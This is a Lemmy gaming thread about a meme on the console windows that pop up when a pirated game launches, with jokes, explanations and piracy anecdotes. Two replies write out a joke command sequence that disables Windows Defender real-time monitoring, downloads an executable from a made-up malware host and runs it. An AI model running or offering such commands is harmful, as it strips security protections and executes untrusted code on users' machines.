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The Picard Maneuver@lemmy.world to Gaming@lemmy.worldEnglish · 1 year ago

Ignorance is bliss

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Ignorance is bliss

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The Picard Maneuver@lemmy.world to Gaming@lemmy.worldEnglish · 1 year ago
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  • finkrat@lemmy.world
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    It’s just setting up a keylogger so it can help you when you suck at your new pirated game :)

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    Ah yes, Windows…

    Not only for viruses, I saw legitimate software creating those console windows to run.

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      Good spyware doesnt show those either, they’re not a sign of malware but of sloppy coding.

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        Not always. Having spent significant time of the entire projects to hide console and powershell windows, I think Windows is just crap.

        • MonkderZweite@feddit.ch
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          Yes, there was a good cli-tool for this, until it didn’t work anymore.

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            A tool for this…
            Running a program by another program without interrupting user should be a basic feature of an OS!

            • MonkderZweite@feddit.ch
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              You would probably love Oberon.

    • trashgirlfriend@lemmy.world
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      I’m pretty sure some drivers do that

      • Agent641@lemmy.world
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        My work PC does it on boot. Opens and then closes like 8 command windows.

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          Well that probably is malware but installed by your company

          • smileyhead@discuss.tchncs.de
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            Just look into journal and logs what processes were started by a terminal window…

            Oh… Right.

          • ☂️-@lemmy.ml
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            deleted by creator

        • 1371113@lemmy.world
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          Startup scripts most likely. A sign of a bunch of legacy tech in your environment.

  • iamascaryvampire@lemmy.world
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    Wait… What’s the truth…

    • Norgur@fedia.io
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      Set-MpPreference -DisableRealtimeMonitoring $true  
      
      curl https://malwarefo.ru/supertrojan.exe
      
      ./supertrojan.exe
      ./game.exe
      exit
      0
      • Dr. Coomer@lemmy.world
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        Is there a way to remove it or stop it from happening?

        • Rob T Firefly@lemmy.world
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           The only winning move is not to play.
          
        • Anticorp@lemmy.world
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          Yes

      • Son_of_dad@lemmy.world
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        This answers nothing

        • CosmicTurtle@lemmy.world
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          Set-MpPreference -DisableRealtimeMonitoring $true

          Disables malware scanning in windows (I assume)

          curl https://malwarefo.ru/supertrojan.exe

          Downloads supertrojan.exe from a Russian website

          ./supertrojan.exe

          Executes the file

          ./game.exe

          Runs the game

          exit

          Closes the command prompt.

          0

          Opens the portal to the underworld, to ensure that the command prompt closes correctly.

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          Not saying you should understand it, but it does answer it if you understand it

    • Cornelius_Wangenheim@lemmy.world
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      Real answer is just that they’re executing a process without setting the window style to hidden. It doesn’t mean anything other than the dev is lazy / inexperienced.

    • casmael@lemm.ee
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      Probably mining for bitcoin

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        Free game providers can have a little bitcoin, as a treat

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          https://uqm-mods.sourceforge.net/Download

          Here’s one. I’d like the aforementioned treat, please!

          • Feathercrown@lemmy.world
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            You may use my GPU anytime 😊

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      Do you really want to know the truth or do you want to play your new game \o/

    • A_Very_Big_Fan@lemmy.world
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      I always thought it was running anti-“anti-piracy” measures before launching the game. I suppose it could be malware too, which seems like what the meme is getting at.

  • Dizzy Devil Ducky@lemm.ee
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    Even if I am pretty sure I’m not getting a virus, I’m always nervous when that happens regardless of the program on my desktop.

  • MonkderZweite@feddit.ch
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    The crack uses dll-injection, needs to be applied each game launch.

  • SpongeBorgCubePants@lemmy.world
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    Dingers!

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    I once found a fully cracked version of Window XP on Pirate Bay…

    • LWD@lemm.ee
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      👌

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        I fucking did it was tenish year ago. Ran it in a vbox for the fun of it. Oddly it was the best windows experience I ever had. Can’t say how much malware was in it though.

        And yes I forgot an s so fucking sue me champ

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          I used pirated versions of XP for a decade. Nothing bad ever came of it. There were a lot of crackers back then that just did it for the challenge, and shared it because they wanted to.

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            My first copy of Winxp was stolen from windows a week before release, I found out when I saw a picture of someone holding a burnt disc with windows xp on it outside of Microsoft and it had my serial key on it.

            Edit: here’s the picture.

            • GroteStreet 🦘@aussie.zone
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              I don’t even have to open the image to know it’s FCKGW!

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                13 year old me loved that my windows key had fuck in it. I used to know that entire key off by heart.

            • Anticorp@lemmy.world
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              That’s awesome. I eventually got my hands on an enterprise CD key that was given out to over 1000 students at a university and used that instead of the keygens for tortented ISOs.

          • A Wild Mimic appears!@lemmy.dbzer0.com
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            My win10 licences are all from pirated Win7 that was grandfathered in when upgrading lol

            • Anticorp@lemmy.world
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              Same here actually. Now it’s totally free spyware/adware, so those days are gone. I just use Linux now.

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          👌

  • blazeknave@lemmy.world
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    hard power down like Barry Allen; rips phone cable out of wall (and rj45 in half); runs to router and rips entire power strip out of wall; safe mode with no idea if this helps; blindly searches for very new or old .bat files; tries to figure out how to search entire registry by recent; sob; play eu1 or whatever it was 30 yrs ago

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